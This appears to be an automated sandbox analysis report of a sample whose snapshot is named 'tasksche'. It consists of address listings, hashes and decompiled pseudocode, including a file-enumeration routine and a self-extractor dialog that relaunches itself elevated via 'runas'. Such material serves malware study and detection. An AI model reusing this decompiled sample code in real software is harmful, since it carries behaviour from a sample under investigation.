0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

@, xrefs: 004034A4
CMT, xrefs: 0040355A

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf));
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154);
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316); // executed
							E0040E857(_t316); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164); // executed
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c); // executed
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t283, _t299, __eflags); // executed
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x3
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11); // executed
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164); // executed
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
